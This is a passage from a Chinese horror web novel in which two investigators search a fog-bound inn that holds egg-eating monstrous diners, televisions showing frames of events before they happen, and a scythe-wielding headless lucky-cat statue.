话已至此,众人也不好再说什么,于是默许了奶奶的跟随。
奚渚想着,待会儿肯定顾不上老奶奶,那就在附近找个旅馆将对方安置好。
七拐八拐,奚渚看了一眼表,大家已经走了半小时了,但红荷依旧没有停下的意思。她注意到了客人的急迫,生怕这单生意泡了汤,“幸福旅馆那地方奇怪的很,店里整夜整夜的发出奇怪的声音,就跟有无数虫子振翅一样,周围有人过去看了看,那店里的老板就躲在门缝儿后边,一双眼猩红,看起来跟中邪了一样。”红荷手舞足蹈地比划着,就好像她亲身经历过一样。
奚渚视线一瞥,小巷尽头处,突然有两个人影闪现,正是刚才的一男一女,二人看起来像是迷了路。
年轻女人眼尖的慌,立刻看到了奚渚,这时候也顾不上害怕了,拽着身旁的男人就凑到了奚渚跟前,“咱们一块儿走吧,这地方有点儿邪门,怎么走都走不出去!”
奚渚盯着对方的脸看,只觉得这个女人有点儿眼熟,但具体在哪儿见过,她却想不起来。
她表示无所谓,年轻女人立刻点头,一行人浩浩荡荡地朝深处走去。
“起雾了。”白央走在最前面。
周围的一切逐渐被雾气掩盖,再看不出原本的模样,就连紧紧跟随的几人,也深陷在灰雾之中,众人脚步声纷纷,只能依靠模糊的背影来辨别方向。
浓雾越来越重,散发出奇怪的味道,一旦呼吸一口,就能感受到一股浓烟被吞到喉管的阻塞感。
冷涩,粗粝,窒息,众人不约而同掩住口鼻。
奚渚皱起眉头,看着红荷的背影,对方不自觉张开双臂,向前摩挲前进,“从没起过这么大的雾呢,前边儿就是旅馆,大家当心脚下。”
小情侣互相抓着,一刻都不敢松懈,她们跟随着奚渚的步伐,在浓雾中缓慢穿行。
人人都吊着一口气,这情况,最害怕突然出现什么东西贴脸开大。
旅馆缩在角落,门头低垂,有两层之高,翘起的屋檐口吊了两只红灯笼,灯光明灭扑闪,蛾子似的东西正在红光中反复交缠,裸-露着墙体内部结构的大门两侧,张贴着一对掉色对联,出入平安被悬贴在门檐正中,扫过众人的脑袋顶,红荷硬着头皮敲门,只觉得那张出入平安在一寸寸地刮她的头皮。
旅馆无人应答,红荷转过身,对着奚渚解释,“起雾了,不能随意走动,万一走错路,那可就真的回不去了。”
那对小情侣面朝浓雾,盯着灰蒙蒙的远处,吓得哎呀一声,缩起膀子叽叽喳喳,“就不应该来这里!什么店面空出来了!就是唬人的!”
红荷继续敲门,“总之,这里起雾,就必须躲到室内,雾散了,人也就安全了。”
在红荷持续敲击下,旅馆大门缓缓张开一个口子。
让人惊讶的是,内插门的铁链之下,门缝中只露出一双深陷的双眼,疲态十足,呆滞地看着众人,男人的声音不太正常地响起,“干什么?”
红荷推了一把门框,力道之大,十分凶猛,“快让客人们进去。”
老板没吭气,他眼睛不正常的外凸,脖子以扭曲的姿态折叠着,他飞快看了几圈,啪一声闭上了门。
红荷哎呦一声,满脸怒气,“快点儿开门!”
她当然不是为别的,而是如果不把这几人带进去,1000姆拉也
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别想拿到。
老板的脚步声十分沉重,渐渐走远,似是铁了心不让几人进去。
奚渚与白央对视一眼,旅馆内部,似乎有什么人正在盯着她们看。
不是老板,而是另一个隐藏在角落的人!
颀长的身影,躲在老板身后。
奚渚起了一身鸡皮疙瘩。
任务时间紧张,大家必须尽快进去才行。
浓雾是否为具现化出的感染区,现在无法确定,因为奚渚脑内一切正常,没有任何波动。
但她依旧留了一个心眼,悬车上她也没有感知到波动。所以,在无法确定感染物的能力前,一切都不能盖棺定论。
雾已经淹没了周围的一切,又因为处在半夜,一片灰黑中,只能依稀看见几盏暗光,像是鬼魂夜游,配合脑袋顶上的红灯笼,奚渚有点儿发毛。
红荷依旧在嗵嗵嗵地敲门。
随着时间的推移,仍不见有人来开,啪一声,红灯笼灭了。
蛾子四散逃窜,黑蒙蒙中飞到了红荷的脸上,她一声尖叫,踹上旅馆大门。
“你就是这么做生意的?不出意外,明天就倒闭!”红荷声音洪亮,浓雾中生出了诡异的回音。
她似乎觉得自己说话声有点儿高了,还没来得及退到一边,旅馆的门就被唰一声打开,老板面带愠色,眼睛一阵一阵的上翻,白眼球都被他翻了出来,“我的旅馆绝不会倒闭!”
几人默不作声,老板的样子越来越奇怪,他堵在门口,青筋爆起,瘦小的身子佝偻在黑暗中,双眼枣核一样滴溜溜地转。
这时,一路上默不作声的老奶奶突然开口,“这雾太大,就让我们进去吧,生意兴隆,生意兴隆哇。”
老板虽然是盯着老奶奶,但那视线却颇为奇怪,他看的好像不是老奶奶那个人,而是别的什么东西,老板机械回答,“进来吧,我再说一遍,我的店不可能倒闭。”
红荷率先进去,踏进旅馆的一瞬间,她的后背突然鼓起了一个小包一样的东西。
薄薄的衣服下,那东西在移动。
老奶奶越过门槛,什么都没说。
奚渚盯着唯一的楼梯处,好像有什么人从那儿跑了!
红荷没忘了钱,她挤到白央跟前,捏了一个数钱的手势,嘻嘻笑道,“对了,老板,您说的带路费什么时候给我啊。”
白央掏出一堆票子,壕无人性到发指,“多谢带路。”
红荷捧着一堆钞票,这辈子她都没见这么阔气的老板,她立刻调转身子,跟在白央身后,“老板,要是还有活儿,记得叫我哇。”
奚渚走在最后,吱呀阖上了旅馆的门。
一楼的空间十分逼仄,本就容纳不了几个人,现在几人挤在过道里,蛾子在脑袋顶上持续扑飞。
压抑的红光打在墙上,旅馆的装潢颇有氛围,一个巨大的无头招财猫被立在老板身后,整个招财猫不正常的前倾,黑影笼罩在老板身上,就好像是被-操纵的傀儡。
一面竖柜立在左右两侧,几节油蜡在东南西北四角供着,奚渚迈步一走,猛地踩到了什么东西。
“欢迎光亮!欢迎光临!”
无头招财猫的声音陡然响起,咔吧咔吧挥动着机械手臂,飞蛾扑到它身上,嗡嗡嗡地响。
奚渚觉得压力有点大。
前台就在不远处,瘦弱的老板恹恹地坐在里面,整个身体不正常凹陷,他的视线十分僵硬,从包浆的柜底抽出几把钥匙。
哗啦啦,洒在桌上,“这是客房的钥匙。”
白央一次性将所有人的房费都付了,她随意拿了一把,准备上楼。
奚渚锤了锤脑袋,很明显这间旅馆不对劲儿,她的大脑不正常的紊乱,她无法判断到底是什么原因,难道是用脑过度?
她迈在吱呀作响的台阶上,咯吱咯吱,咯吱咯吱。
伴随着招财猫的欢迎声,奚渚猛地一个抬头,直愣愣地撞到了招财猫上,距离太近,近到可以看清招财猫身上的爪痕。
老板大呵一身,“我招财祈福的宝贝!”
奚渚的头开始不正常的疼,白央也注意到了,她走到奚渚身边,拍了拍她的胳膊。
一阵咕嘟咕嘟声突然响起,随即便是红荷的声音从一楼右侧的隔间内传来,“哎呦,这地方的晚饭,真是不错!大家快来看看!”
33.孵化幸福旅馆(二)
被当做狭小餐厅的一楼隔间内,吱吱呀呀地发出了奇怪的咀嚼声。
奚渚看了一眼无头招财猫,下了台阶,掀开油腻的餐厅帘子,手上立刻沾满了厚重的飞蛾鳞粉。
有三四个奇怪的东西正匍匐在桌子上,捧着饭碗,大快朵颐。
奚渚看不清他们的具体模样,从身体外形来判断,只能说这些东西长得不太像人,全身鼓鼓囊囊,肥胖肿大,尤其肚子部分,硕大的胃袋在地上耷拉着。
他们的姿态与其说是坐在椅子上,倒不如说是伏趴瘫软在桌子上,只一个劲儿的进食!进食!进食!
奚渚凑得近了。
在现在的位置,她可以观察到这些食客的嘴巴,因为吃的太多,而有了开裂的迹象,在不断吞咽中,他们露着尖细的牙花子,整个口腔被塞得鼓鼓囊囊,他们对奚渚并不感兴趣,甚至头都不抬一下,几秒间,餐桌上的发霉的咸菜和臭气熏天的黑馒头就被吞得一干二净。
蛾子扑闪着,在昏暗的电灯下绕在众人头顶飞舞。
白央走了进来,她站到了这群东西中身体最奇怪的那一个旁边。
对方从腌制罐头中夹出一块儿黑灰带酸水的腐乳,直愣愣地将半空的飞蛾连带腐乳一同杵到了捧着的大米饭里。
红的黄的灰的白色,一团乱搅,它挑起一-大口,直直吞下,脸上露出满足的神情。
飞蛾被嚼碎,嘎吱嘎吱作响,这就是奚渚方才听到的奇怪声音,腐乳的霉汁挂在嘴皮上,爆汁的咕嘟咕嘟声响起。
红荷一反常态,直接捡起一块咸菜就要往嘴里送,“味道不错啊,黏腻爆浆!”
白央满脸奇怪,红荷可以看到有人在这里吃饭,但是她却看不到这些东西不是人。同样,在她眼里,饭桌上摆的东西没有任何异常,所以她才会咽下去。
但在奚渚与白央二人眼里,这一幕就太过诡异。
几个吃饭的“人类”只是机械地咀嚼,目前并没有任何可疑动作,奚渚转身离开厨房,比起餐厅,她更在意那个奇怪的老板和突然消失的人影。
老板一动不动,还在后面坐着,几人正要上楼,一股尖锐的电话铃声突然响起。
叮铃铃。
叮铃铃。
刚才还一脸死气的老板突然活了过来,四处寻找着电话,但不管他怎么翻腾,都无法找到。
铃声越来越急,吵的众人的心砰砰跳。
白央的面前突然闪过一帧莫名的影像,还没看清,就消失的一干二净,她突然指着柜台后被扫把掩盖住的一角,“电话在那后面。”
此话一出,不仅是奚渚奇怪地望过来,就连白央自己也惊出一身冷汗。
太奇怪了,她怎么会知道电话在那里!
这是不可能的事情啊。
此地是感染物具现化出的感染区,这点没有任何疑问,不然也不会出现那些奇怪的进食的东西。
老板已经在角落找到了电话,他嗯嗯啊啊仔细接应着,奚渚离得对方比较近,依稀可以听到那边在说什么“待会儿来,有东西,效果好,免费之类的词语。”
再多的,就听不清了。
白央站到奚渚身边,“这地方比较怪,尽快找到感染物,及早解决。”
奚渚点点头,白央擦过她的肩膀先行快步上楼。
就在这时,奚渚猛地睁大双眼,她盯着白央的背影,对方渐渐消失在楼梯尽头,她确定白央从一开始就一直都在她身边,但是,为什么?
那个刚才在众人进门之前就消失的身影。
那么像白央?
奚渚紧随其后,当她站到二楼的楼道中时,却发现白央不知所踪。
她手里攥着对方递给她的钥匙,在角落处,找到了房间。
奚渚推门而入,整间屋子只点着一只暗黄的钨丝灯,灯光明明灭灭,奚渚的影子被投射在屋顶上,笼罩了整个房间。
细密的飞蛾无孔不入,统统趴在屋顶之上,正在目不转睛地盯着奚渚看。
它们互相交叠,翅膀紧挨在一起,鳞粉在空气中飘荡,密密麻麻,如同一张蠕动呼吸的大网,紧紧将奚渚包裹其中。
奚渚察觉到了那些奇怪的视线,但她并没有抬头,因为这些蛾子似乎没有攻击的意思,只是单纯地盯着她看。
看就看吧,反正掉不了肉。
屋子的角落摆着一台方方正正的旧型号电视机,此时唰唰唰闪着黑白雪花。
陡然间,里面传来一阵模糊不清的播报声。
“经...调查...经...调查...经...调查...经...调查...”
“到底调查什么?”奚渚盯着电视机。
“不明...现状...不明...现状...不明...现状...不明...”
“什么意思?”奚渚一头雾水,这电视机到底怎么回事儿,下一秒,就像是回答奚渚一样,电视机再次发出别的断句。
“掩盖...旅馆...掩盖...旅馆...掩盖...旅馆...掩盖...”
“经过调查,发现不明现状,旅馆掩盖了什么!还是什么掩盖了旅馆?”奚渚站在电视机跟前,发现上面有两个按钮。
左。
右。
“是换台的吗?”奚渚摸上两个按钮,一股金属的阻塞感从指尖传来。
她没有旋转按钮,因为不知道会造成什么后果,但这时,电视机却自动换台了。
黑白的模糊图案缓慢出现,奚渚立刻辨认出电视机上的建筑物就是这座幸福旅馆。
旅馆门口,站了三个像素小人。
从模糊的外观来看,极容易辨别出离门最近的就是红荷,站在中间的是白央,以及站在最后的奚渚。
“这是什么东西?为什么只有三个人?”先不说这电视上的诡异图案,奚渚明确记得,她们一行人中还有一个老奶奶和一对情侣,应该总共六个人才对啊!
她们去哪儿了,为什么不在这幅影像上。
奚渚回忆着,自下了悬车相遇开始,老奶奶与情侣三人就只会和奚渚对话交流,从没有见她们和红荷说过一句话。
在路上行走时,因为大雾的原因,众人不免提心吊胆,自然无法发现异常,可是现在奚渚仔细一想,与红荷对话的也只有奚渚与白央。
那三个人与另一个人是完全没有任何交流的!
电视上的门突然开了,就像某种定格动画,一卡一卡的。
奚渚看到门外的三人消失了。
嗵嗵嗵!
电视机内的声音与现实重叠!
奚渚呼出一口气,率先看上电视机内的影像,此时,“她”正在一卡一卡地上楼。
真是刚才她经历过的。
她突然明白了那两个按钮的作用,尝试着按到右边按钮上,开始缓慢旋转。
影像如同幻灯片一样,仿真地朝后卡顿翻页,在一间熟悉的屋子图像上,奚渚立刻停下了手中的动作。
现在,一切重叠,电视里的她正站在屋子里面对电视,她继续往后调了一张。
是门外。
她的门外紧紧贴着一个身体庞大的陌生人,无法看清对方的模样,但手中的武器却栩栩如生,对方已经将镰刀提了起来!
她继续右旋。
画面中的“她”死了,像素小人摔在地上,整个身体被划出一道巨型伤疤。
“结束”字样出现,不论奚渚如何右转,就好像她自己到了尽头一样,无法再继续后翻。
电视自动恢复成了黑白雪花的模样。
奚渚站到门口,扒到猫眼上,一个红色的东西正在上下鼓动,瞬间,一个金色的圆球与奚渚紧密对视。
她立刻离开了猫眼处。
那东西不是人眼,而是别的什么东西。
奚渚仔细回想着门外的东西,先是一片红,后又是一个金色的圆形,且上面有不正常的奇异光泽感。
她立刻站到电视机前,想要重新查看一遍刚才的图像,却不管怎么旋转,电视都毫无反应。
“刚才的图像上,门外站着的东西体型庞大,看起来已经顶-到了天花板的位置,其中,头部很明显糊成了一片,所以才无法第一时间看到那是什么东西。”奚渚分析着。
“巨大、红色、金色...”奚渚拍了一下电视,她知道了!
她重新站到猫眼处,这次只看到一身瓷白。
“是那只无头招财猫!”
那东西,果然是活的!
奚渚站在门口,紧紧盯着对方的身影,直到那片怪异的瓷白色越来越远,直至消失不见,她才松了一口气。
她故意将呼吸的频率调慢,以及眨眼的速度,将它们均保持在一种极为缓慢的状态中。
唰。
她听到脑袋顶上的无数飞蛾在同时扇动翅膀,和她的眨眼频率形成了一种诡异的同步。
奚渚觉得有点儿意思,她又眨了一次眼。
这次,整个屋子都开始颤-抖。
就连电视机的雪花也变成了波浪雪花,似乎下一秒就会流出来。
逼仄的房间,翕动的飞蛾,诡异的电视,这些东西,组成了一间怪核空间,奚渚越想集中注意力,她就越无法集中,整个脑子都开始漫无目的地涣散。
她开始不合时宜地想一些奇怪的东西。
比如她是否可以让电视机抱住她,或者是床单卷起来变成吊灯,挂在天花板上的飞蛾身上。又或者是将她的四肢像抽屉一样全部抽出,卡进柜子的缝隙中,手腕的弧度正好组成新的挂钩,床铺塌陷,电视藏进它的身体内,在柔软塌陷的地板上,雪花声不断炸开,它扭着左右耳朵,调节着门缝的宽度,钨丝灯太亮,照得奚渚的意识和精神在不断下坠。
嗵嗵嗵!
奚渚猛地回过神来。
她看向屋子,她没有变成柜子。
“奚渚!奚渚!开门!有什么东西不对劲。”白央在门外急躁地敲门。
奚渚从猫眼看了一眼来人,确定是白央后,立刻打开了门。
白央进入房间后,目光直勾勾盯着那台电视机,“果然,你这边也有,我的屋子里也有一台电视,上面有十几张奇怪的影像,就像定格动画。”
奚渚惊魂未定,她浅浅点了点头,“没错,左右两个按钮可以调整影像的前后顺序,我翻到了最后一张,发现那只无头招财猫拿着镰刀站在门外,正在敲门。”
“我的最后一张是,‘我’出了自己的房间,站到你的门外,在极速敲门。”白央说。
此刻,整个屋子只有飞蛾的翅膀声和雪花沙沙声,二人互相对视着,谁都没办法解释这到底是怎么回事儿。
“其他屋子呢
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?是否也有电视?”奚渚问。
“不知道,我在上来的时候就全部检查了一遍,所有的屋子都锁死了,根本打不开,就连那个老奶奶和情侣也消失了。”白央说。
二人离开房间,一切被关到了门口,她们再次走下一楼。
却发现老板不见了,而那只招财猫也消失了。
餐厅内点着一盏微弱的灯,帘子上一些颤动的影子正在飘荡。
奚渚拉开帘子,只见屋内,那三四东西仍然嘴巴大张,机械地往里塞着食物。
就好像不会停止一样。
由枯草穗做成的扫把后,雪花声沙沙传来。
在三句单调且不成完整信息的播报后,新的影像缓慢出现。
白央拿来那把扫帚,二人站在电视跟前,看着影像。
是在厨房。
“白央”与“奚渚”正站在电视机前,奚渚右扭了一下。
场景换到了餐厅角落处的狭小厨房内。
厨房内,站着一个挎着围裙,扎起马尾的女人。
奚渚觉得对方的背影有点眼熟。
下一张。
女人走到了二人面前,递给她们俩两碗饭。
下一张。
电视卡了。
“不经历前一张发生的影像,就无法查看后一张。”奚渚分析道,“因为二人已经站到了电视面前,所以实际的开始影像是从厨房那一张开始算的。”
“在屋内也是,电视上的影像代表着我们会经历的事情,而且必须是一张接着一张,绝不可以跳过。”奚渚想到她屋子里的最后一张影像,那里面,“奚渚”小人死了。
因为“她”开了门。
但是现实中的奚渚并没有选择开门,所以她活了下来,随即影像到达了放映终点,全片自动结束,再也无法后翻。
但是,是真的结束了,还是因为奚渚活着,分岔出了意外,导致影像无法再进行下去。
而且,电视里面的东西几乎全会被本人所经历,既然是会真实发生的事情,那么这些影像是从什么地方来的?
现实中,女人果然端出两碗饭来,二人接了过来。
继续右旋,影像动了。
“二人”的背后,三四个食客突然暴起,影像中的小人趴在桌子上,正在朝“二人”进攻!
现实中,食客突然扔开筷子,他们双眼猩红,趴在二人身后,虎视眈眈。
但它们的下半身却死死钉在凳子上,想要向前移动,整个身子却拉着桌子凳子轰隆摔倒。
摔在奚渚面前的男人无法起身,脸砸在地上,正在抓起米粒往嘴里塞,一边塞一边嘎吱嘎吱嚼,奚渚能清楚听到,米粒破碎从喉咙咽下直达胃部的过程。
奚渚突然注意到对方的头发十分怪异。
如果奚渚没有眼花的话,她分明看到这个男人的头发在呼吸。
每一根发丝都活了过来,不是美杜莎那种成团的蛇绕,而是一根根,细密的,高频率的长短延伸,像无脊椎动物一样在前进中收缩,放松,收缩,放松。
头发爬到了奚渚脚下。
一把匕首闪过,白央割断了那些头发。
影像下一张。
趴在“奚渚”脚下的男人被“奚渚”一刀杀死,剩余的,白央则全部解决。
二人手起刀落,按照影像上的结果将食客全都解决掉了。
影像下一张。
给到了桌子上一碗米饭的特写。
似乎是要二人去看这碗米饭。
二人走了过去,那晚米饭大半都被吃了,饭碗之中,米粒成团,是飞蛾下的晶莹剔透的虫卵,它们分泌粘液互相粘连结片,扒在碗里,正在以最快速度繁衍。
那这么说,那些人一直吃的是虫卵,被吞下的无数虫卵会在这些食客的内脏里繁衍,怪不得它们一个个胃袋都沉甸甸的。
奚渚起了一身鸡皮疙瘩,她发誓这次出去要戒一个月的米饭。
影像下一张,正对着的是二楼的楼道。
像素风格的图案明显减轻了恐惧感,但是那种怪异感却越来越重。
奚渚心中盘算着,这次的感染物明显不同于前两次,嘴巴是纯外型瘆人,植株也仅仅是造型奇特,但旅馆内的感染物,明显能力要高出许多,对方是具现化感染区的高手,这种无形的压迫正在持续上升。
而众人,只能跟着对方走。
感染物并不现身,甚至到现在奚渚都没有感应出对方的具体位置,它在拿电视机做游戏,引导二人上蹿下跳。
对方,究竟打的是什么注意?
二人站起身,走出隔间,她们计划重返二楼。
在楼梯尽头,突然出现了老板的身影,他小小的,鬼鬼祟祟蜷缩在那里不知道干什么。
老板手里提着古早的煤油灯,嘴里嘟嘟囔囔,他没有发现站在楼梯上的奚渚与白央,他直愣愣越过二人,步履蹒跚地朝另一侧离开。
“他看不见我们。”奚渚看着老板的背影。
白央表示赞同,“不仅看不见,他似乎都变年轻了,刚进来的时候,老板的状态明显比刚才差了太多。”
二人一边分析一边朝二楼走着。
楼道尽头,卡着视角的缝隙处,无头招财猫正躲在黑暗处,浑身兴奋地颤-抖着。
有两个人离它越来越近了!
34.孵化幸福旅馆(三)
狭长楼道内,寂静无声,本应该是老奶奶和那对情侣入住的206、209房间都房门大开,空无一人。
两间屋子对立两侧,一模一样的电视机在同一位置同频闪动。
奚渚和白央先进到了情侣的房间,也就是206号房。
黑白雪花开始变化,三句一模一样的播报后,画面开始逐渐聚集,像素卡通影像再次出现。
这一次,地点变成了那片浓雾。
奚渚仔细看了一会儿,才发现影像上的地方是在她们一行人下车的地点,黄-色隔离带依稀可见。
几个模糊的身影一前一后,消失在远处。
咔吧,右旋,下一张。
地点依旧是浓雾。
距离逼近,影像已经变成了某一处的大特写,红色的像素灯笼在影像左上角,可以判断出现在已经处于旅店门口。
下一张。
旅馆大门被模糊成一片黑灰,它的正前方站着一个人,对方直面前方。
灰黑的影子身材颀长,看不清具体是谁,一切都笼罩在灰暗的灯光下,影像整体的色调灰暗压抑,再加上一卡一卡如同劣质蒙太奇般的过渡动画,越看越觉得心里发慌。
下一张。
“结束”字幕出现,无法继续右旋,影像结束,只有三张。
二人继续前往老奶奶的屋子,电视发出三声播报后,开始聚集影像。
第一张。
地点就是这间209号房。
至于是如何判断出的,是因为影像之上给了非常明显的提示,在窗户的位置,有一团不规则的像素黑影。而在现实中,奚渚面前的窗户上,也确实有一团黑影。
并非外部树枝的投影,这团黑影似乎原本就是属于窗户的,形状不规则,还有一些溅出去的黑斑点。
第二张。
视角变为了床。
屋内出现了一个人,身子面朝电视,但脑袋却扭向门口。
第三张。
视角变为逼近的房门。
整个画面暗到了极致,伴随着歪斜和抖动,所有像素都糊成一片,根本无法判断门口到底有没有人。
“结束”字幕出现,无法继续右旋,影像结束,这里也只有三张。
咔吧一声,电视恢复为黑白雪花状态。
二人松了一口气,她们在浏览时并没有发出任何交流,目的是为了能够记清所有细节,这六张影像值得她们好好分析。
“首先我们目前知道的情报是,如果影像没有发生,那么就一定无法右旋到下一张。但是,我们并没有经历这六张影像,但是却可以无障碍右旋,那么是否可以推出六张影像都已经发生了。”奚渚的语气有一丝不确定。
“首先从那对情侣房间中的三张开始,第一张为众人刚才悬车,在那里我们接触到了她们四个人。”白央说,但她特意在“人”上加重了语气,因为现在她没有办法判断这四个人到底是什么情况。
她继续说:“第二张的左上角为红灯笼,可以判断出众人已经到了旅馆门口,但是,影像拍摄的视角很奇怪。”
“在左上角的红灯笼,产生了严重的畸变,从视角分析,是能说明是一张大角度的仰拍,如果这些影像是被人拍出来的,那么这张只能说明拍摄者处于画面的右下方。”奚渚分析道,“当时,谁在右下角?”
进门时分几个人都处在高度异常的紧张中,根本没有一个人记得大家的站位,而且当时,奚渚并没有察觉到任何异常突发-情况。
如果有,即便是细微如丝的异常,她也一定会察觉到,但奚渚绞尽脑汁,也没有回想起任何东西。
“第三张,画面变成了旅馆内,而且正对门口,门口处有一个黑影。我们现在需要判断出的是,那个人是谁?”白央说。
奚渚没有说话,她在仔细回想一切细节,从进门开始到闭门结束,这些影像没有再次重新浏览的机会,所以她几乎把六张照片的细节刻到了脑子里。
一个颀长模糊的黑影,正对画面,头部微微扬起,奚渚慢慢抬起头。
“我觉得那个人是我。”奚渚说。
此刻,二人都默契的安静下来,一种诡异的氛围开始弥散,门外一片漆黑,只有两台闪着雪花的电视呈完全对称,沙沙作响,无数飞蛾扒在屋顶,密密麻麻的脑袋向下垂钓眺望,振翅声连成一片,不绝于耳。
“好,下一张。”奚渚打断恐惧蔓延的思绪,现在需要先把六张影像全部分析完,它们绝不是单独出现,一定有什么联系。
“206号房的三张图片我们暂且可以说已经经历过了。接下来为了方便,我们称下一张为第四张,影像地点变成了209房间的窗户,而且特地给到了窗户上的黑影特写。”白央说。
她们两个人主动朝窗户的位置移动方向,那片黑影看起来没有任何变化,奚渚轻轻摸了上去,指尖传来黏腻的触感,她尝试着推了一把,却发现窗户从外侧被封死根本无法打开。
“209号房我们没有涉足过,也就意味着没有经历过这些场景,但是为什么可以右旋到最后一张。”白央说。
奚渚摇了摇头,“每一张影像都有它的作用,那么这个窗户也绝对不例外,一定有什么事情会发生。”
奚渚掏出匕首,反握在右手上,猛地朝窗户一砸。
嘭!
窗户被砸碎,整个窗户被砸出一个大洞,外面浓雾笼罩,即便站在窗口,也看不到两米之外的情况。
奚渚伸出右手,在谁都没有反应过来的瞬间,她猛地跳到窗台,左手抓住窗框上檐,直直将整个人吊起,双脚一蹬,靠着极大的惯力冲出了窗户。
划拉!
白央面前只剩下无数碎玻璃。
在对方冲出去的一瞬间,白央听到奚渚所说,“既然东西不在里面,那么就一定在外面,我去去就回。”
奚渚消失,白央立刻回归思绪,她相信对方有谱。
白央回忆着第五张,继续详细分析。
“地点没有变化,依旧是209号房,但是屋内却多出了一个人,那个人身体面朝电视,头却诡异地扭向门口。”
白央盯着窗户,视线跟着碎玻璃渣缓缓下移,窗户
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斜下方处,电视机正正好好摆在那里。
如果说...影像上的那个像素小人根本不是在看电视,而是在看窗户呢?
白央瞬间起了一身鸡皮疙瘩。
咚!
咚!!
咚!!!
原本静悄悄的楼道内,突然发出一阵诡异的重响,白央以一种身体固定,脑袋扭转的奇怪姿势缓缓转身,她死死盯着房门,雪花电流声噼里啪啦作响,两台电视宛如眼睛一般盯着白央,她缓缓吐-出一口气,“那个人是我。”
***
窗外,奚渚吊在半空,为了节省力气,她将匕首含到了口中。
双手扒在窗檐上飞檐走壁般移动,索性每个窗户都离得不远,距离足够接近的情况下,奚渚的速度加快了不少。
屋内有白央,那么就可以交给对方继续分析。
现在最重要的是,这间旅馆本身就不正常到了极点,奚渚不可能坐以待毙,即使有极大的风险,她也愿意去尝试一把,如果能从旅馆外面获得某些情报,对她们二人来说是有极大价值的。
在屋里呆着的时候,奚渚对于这片浓雾并没有清楚的认知,只觉得是旅馆两米外就被全数“淹没”。
但现在身临其境的她,却观察到了某种奇怪的细节,两米外可以说是混沌一片,但相反的是,两米内一切清晰可见,在旅馆外部,不知何种原因,硬生生划分出了两米的清晰界限。
奚渚停下手中的动作,余光瞥了一眼地底,确认没有任何东西后,直接松开双手,从二楼跳了下去。
尘土缓缓飞扬激荡,有的弥漫到了浓雾中,瞬间就被吸走,浓雾还想进一步逼近,但是却硬生生停在半空,只在周围打转。
奚渚新奇地看着这个场景,为了确认她心中的想法,她抓起手边的一把碎石子,一颗一颗地扔到两米之外的半空。
周围的浓雾察觉到了,立刻汇聚在一起,形成一个不小的漩涡,猛地将碎石子吸了进去。
奚渚从四面八方扔出石子,在她面前,无数雾漩开始出现,不断将一切越过界限的东西吞噬掉,就好像这片雾是活的一样。
什么都看不清,什么都不知道,甚至都不能伸出手去一探究竟,如果被拉到浓雾之中,奚渚无法确定会发生什么。
她站起身,无数雾漩也站起身,开始跟着她缓慢前进,她后退,雾漩也全部后退,奚渚缓慢伸出手,雾漩也缓慢凸-起,奚渚嘭一下松开手,雾漩也嘭一下炸开消散。
“奇怪的旅馆,消失的房客,诡异的电视,还有似乎有生命的雾气。”奚渚盯着不远处,那里一抹瓷白突然闪现。
V7猎枪依然在口袋里被缩小放置,奚渚现在没打算启动这个武器,她反手掏出匕首,不到最后一刻,她不可能杀死这个无头招财猫,她还有很多很多问题要问它。
无数密密麻麻的雾漩极速冲-刺,它们宛如存在意识般,跟着奚渚飞快突进,十几米外的拐角处,所有雾漩突然撞在一起,嘭一声,整个大雾被惯力冲击,如灰黑墨水炸裂。
一片混沌前,奚渚突然停下了。
35.孵化幸福旅馆(四)
209号房间外。
铁器在地上拖行的尖锐声音突然停下了。
一个庞然大物正躲在黑暗中,它没有脑袋,自然也看不见听不着。
但奇怪的是,这尊诡异的无头招财猫正在随着电视的沙沙声缓慢移动。
两间对立的屋子,被它庞大的身影所全部笼罩,沉闷的响声再次响起,白央站在无头猫看不见的角落,瞥见对方踏进了206号房。
“这家伙怎么回事儿?没有头也能察觉到声音的来源吗?”白央侧过身体,206号房间内,什么都看不清了。
“最后一张影像是正对房门的角度,刚才已经发生了。”白央一边分析一边轻抬脚步,这间房间已经不安全了,招财猫如果发现206号房什么都没有,一定会继续进来这头,“这下五台电视机所出现过的所有影像已经全部发生且结束,现在剩下的问题是这些不会动的影像是谁拍下的,又是谁将它们分别放到五个电视机里的?”
白央呼出一口气,在她没有察觉到的细微地方处,天花板上的无数飞蛾已经停止了响动。
它们炯炯有神盯着白央的细小动作,屏息凝神般注视着她。
“如果要搞清楚这些问题,就必须找到那个奇怪的老板。”白央还记得,所有出现过的影像中,只有奚渚进入旅馆时的那张,它的角度不偏不倚没有任何俯仰和偏移。
如果按照那张影像的相对距离来判断,拍摄者应该站在柜台的方位。
当时,在那里的只有恹恹的老板。
招财猫确实也在那个位置,但白央仔细分析后还是觉得不可能是它拍的,且不说有头没头能不能拍,如果按照招财猫那个角度,影像上的奚渚就会变成俯视,这明显是错误的。
所以,老板的嫌疑是最大的。
白央的半个身体已经踏出了房间,她突然感觉身后有什么东西,冷嗖嗖的。
余光中,一抹奇怪的闪光突然闪了一下白央的眼睛。
她立刻停下脚步,缓缓转过脑袋。
此时,房门正面对奚渚,陈旧的木头,陈旧的纹路,还有陈旧的房间门牌号。
——206。
白央心下猛地一坠,几乎是本能般的闪避,她立刻弓下脊背,万分险要间躲开了身后突然扫过来的巨型镰刀。
嗙!
镰刀被狠狠砸在了门框上,吱呀吱呀!
无数木屑飞到了白央脸上,巨大的锐利镰刀正在以强大的惯力劈开整间屋子,余光中,无头招财猫脖子上的金色铃铛正铃铃作响。
嗙!
镰刀被直愣愣抽出,整个房间抖了三抖,随着铃声尖锐刺破耳膜,镰刀被高高举起,再次朝已经奔出房间的白央劈去。
白央没有朝任何地方逃跑,因为她要搞明白到底发生了什么。
无头招财猫根本不可能悄无声息地出现在她身后,而且还有那枚突然改变数字的门牌号,这一切绝不是偶然。
意外突然发生,白央在冲进对面屋子的时候,刻意看了一眼门牌号。
——206。
“不可能有两间号码完全相同的房间,而且凭借招财猫笨重的体型,它不可能做到进入房间以后还能急速转身进行攻击。”
白央将门轰一声甩上,她靠在门后,平息着心跳,手中以极快速度将V7猎枪变形,恢复成一米长的模样。
她能听到自己的心跳声在紧张下急速跳动。
屋顶上的飞蛾在看到白央的瞬间就停止扇动翅膀,在极致安静的状态下,白央渐渐察觉到了什么地方不对劲。
她抬起脑袋,四米长三米宽的天花板黑压压一片,那些蛾子已经将整个屋子当成了繁衍的巢穴,密密麻麻的虫卵和母蛾交叠在一起,凹凸不平的瘤状凸-起在各处形成,只要白央站一个凳子,就能和它们来一个面对面亲密接触。
母蛾们盯着白央,眼神就像在看一个闯入她们巢穴的猎物。
